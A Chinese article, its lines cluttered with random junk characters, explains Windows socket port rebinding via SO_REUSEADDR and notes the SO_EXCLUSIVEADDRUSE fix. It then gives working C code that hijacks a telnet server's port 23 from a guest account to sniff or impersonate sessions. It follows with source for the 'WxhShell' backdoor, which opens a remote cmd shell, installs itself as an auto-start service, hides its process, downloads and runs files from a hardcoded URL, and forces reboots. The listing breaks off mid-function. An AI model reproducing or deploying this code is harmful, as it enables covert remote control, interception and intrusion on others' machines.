在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*D<sk7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`M7){ (Nik(Oyj" saddr.sin_family = AF_INET;
m};_\Db` uxh4nyE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(n`\ b47 B=Zo0p^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
m
G&uj}rj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
efbt\j6@%2 uO^{+=;A= 这意味着什么?意味着可以进行如下的攻击:
yS3x)) ?` `+OH 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
D!Gm9Pa} U|
N`X54 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
a:;*"p[R +5({~2Lzvp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6iC}%eU [9LYR3 p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a"&Z!A:Z= p}Gk|Kjlq, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\2+xMv)8 F2:7UNy, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Vy/g;ZPU1 NA3yd^sr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\JyWKET::_ $PTedJ}*Y #include
!t_,x= #include
rmhCuY?f #include
6Nl$&jL #include
!^LvNW\| DWORD WINAPI ClientThread(LPVOID lpParam);
Y3Qq'FN!I int main()
k|lxJ^V# {
r2<+ =INn WORD wVersionRequested;
4sJx_Qi DWORD ret;
vc!S{4bN WSADATA wsaData;
Ke/P[fo BOOL val;
9M!_D?+P? SOCKADDR_IN saddr;
e;pNB SOCKADDR_IN scaddr;
z`Q5J9_<cV int err;
sEj:%`l| SOCKET s;
f,-|"_5; SOCKET sc;
(
ou:"Y int caddsize;
1uH\Bn]p? HANDLE mt;
}3*h`(Bv7 DWORD tid;
fwnpmuJ wVersionRequested = MAKEWORD( 2, 2 );
3@&H)fdp6a err = WSAStartup( wVersionRequested, &wsaData );
vV'^HD^v if ( err != 0 ) {
o|}%pc3 printf("error!WSAStartup failed!\n");
,,Db:4qfjD return -1;
dyp]y$ }
g 764wl saddr.sin_family = AF_INET;
z84W{!
P e7?W VV, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PRLV1o1# ,mX|TI<* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
= ;a4
Dp saddr.sin_port = htons(23);
Pz)QOrrG~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q%'ovX(dm {
0!VLPA: printf("error!socket failed!\n");
CeiU2.:U return -1;
UxvsSHi }
c@^:tB val = TRUE;
e-')SB //SO_REUSEADDR选项就是可以实现端口重绑定的
"@?|Vv,vn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
FezW/+D {
B5cyX*! ? printf("error!setsockopt failed!\n");
I>3]4mI*a return -1;
2%qn!+. }
PHK#b.B>a8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n>0dz# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F^NR qE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p)^:~ll `p{!5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y z,!#ob$ {
w.Vynb ret=GetLastError();
)ra66E printf("error!bind failed!\n");
} E#+7a return -1;
`eWcp^| }
by
U\I5 listen(s,2);
^'fKey` while(1)
pu:D/2R2;k {
H|)1T-% caddsize = sizeof(scaddr);
huoKr //接受连接请求
u,akEvH~a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9i<-\w^$ if(sc!=INVALID_SOCKET)
?Bzi#Z {
yUW&Wgc=: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rc$!$~|I3Z if(mt==NULL)
6)U&XWH0 {
|{PJT#W% printf("Thread Creat Failed!\n");
]X~g@O{>_ break;
Uo}&-$ B }
kNj3!u$ }
i"]8Zw_D CloseHandle(mt);
S8OVG4- }
]kkBgjQbS closesocket(s);
PS(j)I3 WSACleanup();
HD)HCDTX return 0;
n]DN xC@b }
}#G"!/ZA0: DWORD WINAPI ClientThread(LPVOID lpParam)
a9Fm Y` {
5g1M_8e'+ SOCKET ss = (SOCKET)lpParam;
v$m[#&O^V? SOCKET sc;
t/*K#]26 unsigned char buf[4096];
Dsj|~J3 SOCKADDR_IN saddr;
7_40_kwJi long num;
:pDY DWORD val;
dA}
72D? DWORD ret;
iEpq*Qj //如果是隐藏端口应用的话,可以在此处加一些判断
EotwUT| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
sk
?'^6Xh saddr.sin_family = AF_INET;
|R;l5ZKvV saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Z SRRlkU saddr.sin_port = htons(23);
zZ9<4"CIk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o? i.v0@!K {
XU_,Z/Yw_ printf("error!socket failed!\n");
% R|"Afa= return -1;
i.t9jN }
$}nh[@ val = 100;
S&3X~jD(1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N<06sRg# {
;}WtJ&y=M ret = GetLastError();
u\XkXS` return -1;
Aw4?y[{H }
>&;>PZBPCO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q)Iv_N/ {
V5O=iMP ret = GetLastError();
>7nV$.5S return -1;
yQZ/,KX }
QtY hg$K3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#P%1{l5m {
H^D
3NuUC printf("error!socket connect failed!\n");
5@czK*5 closesocket(sc);
G#w^:UL closesocket(ss);
i_=?eUq%q/ return -1;
0+}EA[ }
DD!MGf/ while(1)
]3t1=+ {
dP$8JI{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/5Zp-Pq //如果是嗅探内容的话,可以再此处进行内容分析和记录
o)%-l4S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U~:N^Sc num = recv(ss,buf,4096,0);
U{uPt*GUd/ if(num>0)
[DZqCo send(sc,buf,num,0);
9-
xlvU,o else if(num==0)
ME$2P!o break;
qoC]#M$oo# num = recv(sc,buf,4096,0);
6a4 'xq7 if(num>0)
fJN*s send(ss,buf,num,0);
8!4~T,9G else if(num==0)
E/mubA(& break;
%G;0T;0L }
4q>7OB:e closesocket(ss);
DR:8oo&E closesocket(sc);
M1oPOC\0. return 0 ;
3k#[(phk }
b4>``n -S"5{ N73 O:
,$% ==========================================================
&v^!y=Bt e`i7ah; 下边附上一个代码,,WXhSHELL
z]kwRWe`j nX0HT
)} ==========================================================
t,
U)
~wi v" }WP34 #include "stdafx.h"
&+ KyPY+ wfgqgPo!v #include <stdio.h>
~C&*.ZR #include <string.h>
)4l>XlQ& #include <windows.h>
,7GWB:Sk #include <winsock2.h>
Ju!(gh #include <winsvc.h>
F{<5aLaYti #include <urlmon.h>
0n
Y6A~ TZ[Zm #pragma comment (lib, "Ws2_32.lib")
HcRa`Sfc]/ #pragma comment (lib, "urlmon.lib")
bEm7QgV{X -LtK8wl^ #define MAX_USER 100 // 最大客户端连接数
9 Ycn0 #define BUF_SOCK 200 // sock buffer
k<a;[_S #define KEY_BUFF 255 // 输入 buffer
C{EAmv' $ a? #define REBOOT 0 // 重启
nq"evD5 #define SHUTDOWN 1 // 关机
E<>*(x/\e _AFQ >j #define DEF_PORT 5000 // 监听端口
iPq &Y* : [q0S@ #define REG_LEN 16 // 注册表键长度
h.)h@$d #define SVC_LEN 80 // NT服务名长度
~ 3^='o Mp~y0e // 从dll定义API
!\FkG8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_A98 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-w1@!Sdd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#] CFA9z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k|xtrW`qo; `lO(s%HC // wxhshell配置信息
ndink$ struct WSCFG {
Z\~GU*Y.e int ws_port; // 监听端口
fH\X char ws_passstr[REG_LEN]; // 口令
.Obn&S int ws_autoins; // 安装标记, 1=yes 0=no
M*sR3SZ
char ws_regname[REG_LEN]; // 注册表键名
u7fK1 ^O char ws_svcname[REG_LEN]; // 服务名
w]u@G-e char ws_svcdisp[SVC_LEN]; // 服务显示名
'$G"[ljr char ws_svcdesc[SVC_LEN]; // 服务描述信息
7Vu ? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hoM|P8
}rh int ws_downexe; // 下载执行标记, 1=yes 0=no
*>NX%by) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7I=C+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:XG;ru%i ,1oQ cC };
H#i{?RM@l vAb^]d // default Wxhshell configuration
|&3x#1A struct WSCFG wscfg={DEF_PORT,
p5\]5bb "xuhuanlingzhe",
iD`d99f8O 1,
2f>PO +4S{ "Wxhshell",
KS}hU~ "Wxhshell",
>j*;vG5T "WxhShell Service",
'sh~,+g "Wrsky Windows CmdShell Service",
r%@Lej5+ "Please Input Your Password: ",
2)X4y"l 1,
G{Yz8]m "
http://www.wrsky.com/wxhshell.exe",
fu[K". "Wxhshell.exe"
.zg8i_ };
gF?[rqz{ =,y |00l // 消息定义模块
2P#=a?~[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p;T{i._iL char *msg_ws_prompt="\n\r? for help\n\r#>";
h `}} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q=mI9 char *msg_ws_ext="\n\rExit.";
*NFg;<:j char *msg_ws_end="\n\rQuit.";
h4|i%,f char *msg_ws_boot="\n\rReboot...";
lot%N(mB` char *msg_ws_poff="\n\rShutdown...";
\Ig68dFf% char *msg_ws_down="\n\rSave to ";
VKp*9%9 1CU>L[W) char *msg_ws_err="\n\rErr!";
qfY5Ww$8 char *msg_ws_ok="\n\rOK!";
az0<5Bq) Fm\"{)V:b char ExeFile[MAX_PATH];
YB<*"HxM)} int nUser = 0;
{S/yL[S. HANDLE handles[MAX_USER];
+gd4\ZG int OsIsNt;
Snp|!e [.se|]t7X SERVICE_STATUS serviceStatus;
$`ZzvZ'r SERVICE_STATUS_HANDLE hServiceStatusHandle;
"Z
Htr<+ 8Jf.ECQT // 函数声明
w(ln5q int Install(void);
'c2W}$q int Uninstall(void);
T|J9cgtS int DownloadFile(char *sURL, SOCKET wsh);
^;!0j9"*: int Boot(int flag);
O[tvR:Nh void HideProc(void);
1b=lpw1} int GetOsVer(void);
d->|EJP int Wxhshell(SOCKET wsl);
H]Hv;fcC void TalkWithClient(void *cs);
T134ZXqqz int CmdShell(SOCKET sock);
L,y6^J! int StartFromService(void);
`E+Jnu,jC int StartWxhshell(LPSTR lpCmdLine);
Lg8nj< TF SJD@&m%?[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kEwaT$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
EY*(Bw COH<Tj // 数据结构和表定义
?X@fKAj SERVICE_TABLE_ENTRY DispatchTable[] =
+)JpUqHa {
pv|Pm {wscfg.ws_svcname, NTServiceMain},
fXrXV~'8 {NULL, NULL}
[MuEoWrq(} };
^N8)]F, {U&.D
[{& // 自我安装
+`3!I int Install(void)
z-M3 {
o7IxJCL=Q char svExeFile[MAX_PATH];
U,nEbKJgk HKEY key;
Y*mbjyt[?X strcpy(svExeFile,ExeFile);
(sVi\R l5L.5$N // 如果是win9x系统,修改注册表设为自启动
L^Jk=8 if(!OsIsNt) {
J2uZmEt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1lv2@QH9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R|i/lEq RegCloseKey(key);
7GDHz.IX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
NcY608C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$9?cP`hmi RegCloseKey(key);
K~ ;45Z2 return 0;
2NB L}x }
asJ)4ema }
ve&zcSeb }
*)+ut(x|# else {
Web|\CH DBLO|&2!z[ // 如果是NT以上系统,安装为系统服务
,o]4?- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,t1abp{A if (schSCManager!=0)
Y!;|ld {
>I=2!C1w SC_HANDLE schService = CreateService
W_0>y9? (
"s\L~R.& schSCManager,
s3W@WH^. wscfg.ws_svcname,
!t i6 wscfg.ws_svcdisp,
I$8" N]/C SERVICE_ALL_ACCESS,
F{ELSKcp. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r-h#{==*c SERVICE_AUTO_START,
hR.@b*q?R SERVICE_ERROR_NORMAL,
Ld B($4, svExeFile,
\e`~i@) ~Z NULL,
['ksP-= NULL,
^FnfJ: NULL,
f-r]
|k NULL,
7 w3CXY NULL
^Idle*+ );
0q&'(-{s1 if (schService!=0)
YBnA+l* {
}MlwC;ot CloseServiceHandle(schService);
frBX{L CloseServiceHandle(schSCManager);
{aM<{_v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vVE7fq3 strcat(svExeFile,wscfg.ws_svcname);
S/ibb& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
WKSPBT; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,6r{VLN RegCloseKey(key);
.$#rV?7 return 0;
fK(}Ce }
D$JHs4 }
r#6_]ep}<' CloseServiceHandle(schSCManager);
?MQ.% J }
sCu+Lg~f }
WQHd[2Z#e z.}[m,oTF return 1;
pT$f8xJ }
(#;`"Yu YTw#JOO // 自我卸载
E#F/88( int Uninstall(void)
WAn'kA {
(<
=}]v HKEY key;
)IJQeC TFuR@KaBR if(!OsIsNt) {
EKp@9\XBC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j;Z?WXWDh RegDeleteValue(key,wscfg.ws_regname);
AdWq Q RegCloseKey(key);
pn*3\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h`MF#617 RegDeleteValue(key,wscfg.ws_regname);
3 LdQ]S RegCloseKey(key);
P<K){V return 0;
wYlf^~#" }
vaon{2/I }
$m CarFV-T }
1 tR_8lC else {
WlYs~(=9 eW>3XD4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
w4LScvBg if (schSCManager!=0)
RNQK {
;Q+xKh% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4Yl; if (schService!=0)
VS&TA> {
`f'K@ if(DeleteService(schService)!=0) {
Dk5Zh+^ CloseServiceHandle(schService);
1 n%?l[o CloseServiceHandle(schSCManager);
07Edfe return 0;
V
_c@ b% }
jVH|uX"M5Y CloseServiceHandle(schService);
!a~`Bs$'jr }
aTzjm`F0 CloseServiceHandle(schSCManager);
%_Yx<wR% }
`CeJWL5{ }
;@
[
0x 1EyL#;k return 1;
ai*f
F }
SwU\
q]^|Z F_bF // 从指定url下载文件
)(7&X45,k int DownloadFile(char *sURL, SOCKET wsh)
I=;+n- {
TT9z_Q5~ HRESULT hr;
fBQ?|~:n char seps[]= "/";
_GKB6e% char *token;
"k Te2iS char *file;
'Z`$n8 char myURL[MAX_PATH];
z]3 `*/B char myFILE[MAX_PATH];
F]mgmYD% vS;1/->WD strcpy(myURL,sURL);
-LM;}< token=strtok(myURL,seps);
*GUAO){' while(token!=NULL)
8?Z4-6!{V, {
,/O[=9l36R file=token;
^2wLxXO6 token=strtok(NULL,seps);
R<x'l=,D( }
zS< jd~ i55x`>]&sb GetCurrentDirectory(MAX_PATH,myFILE);
S60IPya strcat(myFILE, "\\");
N0>0z]4;q strcat(myFILE, file);
kcDyuM` send(wsh,myFILE,strlen(myFILE),0);
>h+349 send(wsh,"...",3,0);
}CxvT`/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
CB~Q%QLG if(hr==S_OK)
;#MB7A
return 0;
B??J@+Nf else
4'p=p#o return 1;
1oKfy>i e yFhB>i }
C[WCg9Av 1p'Le! // 系统电源模块
,_ag;pt9) int Boot(int flag)
~m*,mz {
)~jqW=d
2 HANDLE hToken;
-A-tuyIsh" TOKEN_PRIVILEGES tkp;
vB!|\eJ DF {OnF if(OsIsNt) {
U.T|
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
, %YBG1E[y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f f 7( tkp.PrivilegeCount = 1;
;W:6{9m ze tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w{ `|N$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H6aM&r9} if(flag==REBOOT) {
Q)af|GW$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yg]2erR return 0;
BGzI }
F^!mI7Z|(2 else {
_y .]3JNm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^6p'YYj"5 return 0;
HEA eo! }
8RwX= }
&@ 3m-Z else {
2>em0{e if(flag==REBOOT) {
#fhEc;t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z1,tJH0 return 0;
_x1EZ&dh }
NE|[o0On else {
P,bd' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"Mmf6hu return 0;
5,b]V)4 }
VanB>|p6 }
LZ*R[ TOI4?D] return 1;
YnV/M,U }
kpob b K'6[J"dB // win9x进程隐藏模块
_|isa]u\z void HideProc(void)
!D.0 (J {
"r.2]R3 -pTI? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Tvf~P w if ( hKernel != NULL )
%Ny) ?B {
9-jO,l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,=[*Lo>O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gp|1?L54 FreeLibrary(hKernel);
lWy=)^)4
}
M:ai<TZ] X`20f1c6q> return;
Ri?\m!o }
VTe.M[: ]T{E
(9 // 获取操作系统版本
<6N_at3 int GetOsVer(void)
4?]oV%aP) {
I>w^2(y OSVERSIONINFO winfo;
P0\eBS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
& QZV q" GetVersionEx(&winfo);
K^i"9D)A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u39FN?<^ return 1;
q/6UK = else
]O!s'lC return 0;
1
ycc5=. }
k7 bl'zic ~y\:iL//E // 客户端句柄模块
K=kH%ZK int Wxhshell(SOCKET wsl)
EZ% .M*? {
0P 5BArJ? SOCKET wsh;
UxPGv;F struct sockaddr_in client;
{Jx7_T& DWORD myID;
t9*= \5[-Ml while(nUser<MAX_USER)
.S vyj {
cgNt_8qC int nSize=sizeof(client);
`Wf5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+Hyk'=.W if(wsh==INVALID_SOCKET) return 1;
r>3^kL5UI u:4["ViC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
A
+!sD5d if(handles[nUser]==0)
2YIF=YWO}, closesocket(wsh);
tBl#o ^ else
H'Iq~Ft1 nUser++;
|a(Q4 e/, }
|e"/Mf[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V
[4n'LcE g5TkD~w" return 0;
{W'8T}q }
4I.1D2 1jA 9UmBm#" // 关闭 socket
eYDgEM
void CloseIt(SOCKET wsh)
<UAP~RH{ {
_sm;HH7'* closesocket(wsh);
nhT;b,G.Z nUser--;
8|vld3; ExitThread(0);
#`58F . }
U 1F-~{r !Ud:?U // 客户端请求句柄
V(I7*_ZFl void TalkWithClient(void *cs)
k1wr/G'H[ {
zkG>u,B} Okoo(dfM SOCKET wsh=(SOCKET)cs;
W2n*bNI char pwd[SVC_LEN];
cI3KB-lM# char cmd[KEY_BUFF];
0&B:\ char chr[1];
:R3P 58> int i,j;
y;,y"W 0k.v0a7% while (nUser < MAX_USER) {
Xvq^1Y? 4n4j=x]@ if(wscfg.ws_passstr) {
6ZTaQPtm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.o"<N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pzAoq)gg: //ZeroMemory(pwd,KEY_BUFF);
,N0uR@GN i=0;
rx}*u3x=
while(i<SVC_LEN) {
${@q?iol BP:(IP!& // 设置超时
Kc-4W6?$ fd_set FdRead;
"kU>~~y, struct timeval TimeOut;
[tOuNj: FD_ZERO(&FdRead);
+>u>`| FD_SET(wsh,&FdRead);
$wgc vySx TimeOut.tv_sec=8;
)]tvwEo TimeOut.tv_usec=0;
Q;Q%SI`yT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Wge ho if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
n{L:MT9TD OH0S2?,{> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}E,jR=@ pwd
=chr[0]; .+yJh
if(chr[0]==0xd || chr[0]==0xa) { JOE{&^j
pwd=0; H$($l<G9C
break; F4aJr%!\6S
} ve_4@J)
i++; ogh2kht
} YM,D`c[pX
JY,l#?lM{
// 如果是非法用户,关闭 socket @v:ILby4-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); , K"2tb
} 94>7-d
*b 7
^s,?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |RbUmuj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N[?4yV2s
^!s}2GcS`
while(1) { w|U@jr*H]
f"}14V
ZeroMemory(cmd,KEY_BUFF); neMe<jr
8aM%
9OU
// 自动支持客户端 telnet标准 !z&seG]@
j=0; *IfIRR>3l(
while(j<KEY_BUFF) { TY{?4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3T#3<gqM[
cmd[j]=chr[0]; }X.8.S'
if(chr[0]==0xa || chr[0]==0xd) { p44uozbK
cmd[j]=0; ~TmHnAz
break; w `9GygS
} qm&53
j++; ^O\1v
} Sv]"Y/N
(fjXp75
// 下载文件 9$w)_RX9W
if(strstr(cmd,"http://")) { f\%X7.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "i5AAP?_]{
if(DownloadFile(cmd,wsh)) sT8kVN|Uv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5D@Q1
else ieg PEb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U";Rp&\3;
} Lm2cW$s
else { ~d1RD
bsS|!KT
switch(cmd[0]) { JL*]9$o
PyJblW
// 帮助 HrcnyQ`Q0
case '?': { /? <9,7#i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :<|fZa4!"
break; "+OMo-<K7
} $7ME a"a
// 安装 7PPsEU:rf
case 'i': { .6]cu{K(
if(Install()) wZolg~dg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cF6@.)
else >?\ !k
c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z-=7QK.\{
break; A^jm<~
} ~wV98u-N
// 卸载 kxiyF$
9
case 'r': { JQv
ZTwSI
if(Uninstall()) 2/NWWoKw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ojI"<Q~g
else Tl{r D(D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SVeU7Q6-
break; R1rfp;
} {nWtNyJpS
// 显示 wxhshell 所在路径 =<tEc+!T3
case 'p': { 8U$UI
char svExeFile[MAX_PATH]; d:ajD
strcpy(svExeFile,"\n\r"); AZP>\Dq
strcat(svExeFile,ExeFile); U-:Z^+Y
send(wsh,svExeFile,strlen(svExeFile),0); k3eN;3#&
break; {?_)m/\
} DO*C]
// 重启 bpCe&*\6K
case 'b': { ,l"2MXD
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~H."{
if(Boot(REBOOT)) h(K4AiGE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yr DYw T
else { PhdL@Mr
closesocket(wsh); TuR?r`P%
ExitThread(0); rkXSygb
} ]zAg6*-/B
break; a];i4lt(c
} )^xmy6k
// 关机 IKj1{nZvDc
case 'd': { 6!m#_z8qG3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W u{nC
if(Boot(SHUTDOWN)) wYM{x!D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7guxkN#
else { 7]53GGNO
closesocket(wsh); ;f*xOdi*k
ExitThread(0); x/v+7Pt_
} SpQ6A]M gm
break; "aH]4DO
} )^3655mb
// 获取shell VUhu"h@w%
case 's': { ZmF32Ir
CmdShell(wsh); DSa92:M}
closesocket(wsh); cV,URUD
ExitThread(0); ,bg#pG!x Q
break; JE!Xf}nEi
} *2hzReM
// 退出 u{^Kyo#v
case 'x': { Ml
^Tb#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H%V[%
T4=
CloseIt(wsh); ,94<j,"
break; MCT1ZZpPr
} .z`70ot?
// 离开 y!77gx?-
case 'q': { y~
=H`PAE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); EMW6'
closesocket(wsh); 1q;v|F
WSACleanup(); 37/n"\4
exit(1); @0?!bua_|
break; \beO5]KS<
} vjGQ! xF
} 7z{wYCw
} 7Gc{&hp*
g\JJkXjD#
// 提示信息 ^"/^)Lb!@M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f&^(f1WO
} DZ8|20b
} %t9C
9Yx(u2PQ
return; 0CrsZt X
} fGo4&( U
B[t^u\Fk
// shell模块句柄 $<^t][{
int CmdShell(SOCKET sock) C9n%!()>
{ ,S8 K!
STARTUPINFO si; QU|_
r2LM
ZeroMemory(&si,sizeof(si)); *gbK
:*_J
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <>cS@V5j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l90mM'[
PROCESS_INFORMATION ProcessInfo; /d8o*m'bu!
char cmdline[]="cmd"; ff"wg\O4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N@q}eGe
return 0; QHEtG2
} eU?hin@X
Sqo+cZ
// 自身启动模式 1o_kY"D<
int StartFromService(void) z ^gJy,T
{ xt{'Be&Ya+
typedef struct +eM${JyXH
{ kNEEu!G
DWORD ExitStatus; a V3:{oL
DWORD PebBaseAddress; ;?-AFd\i
DWORD AffinityMask; U@lc1#
DWORD BasePriority; @
D+ftb/
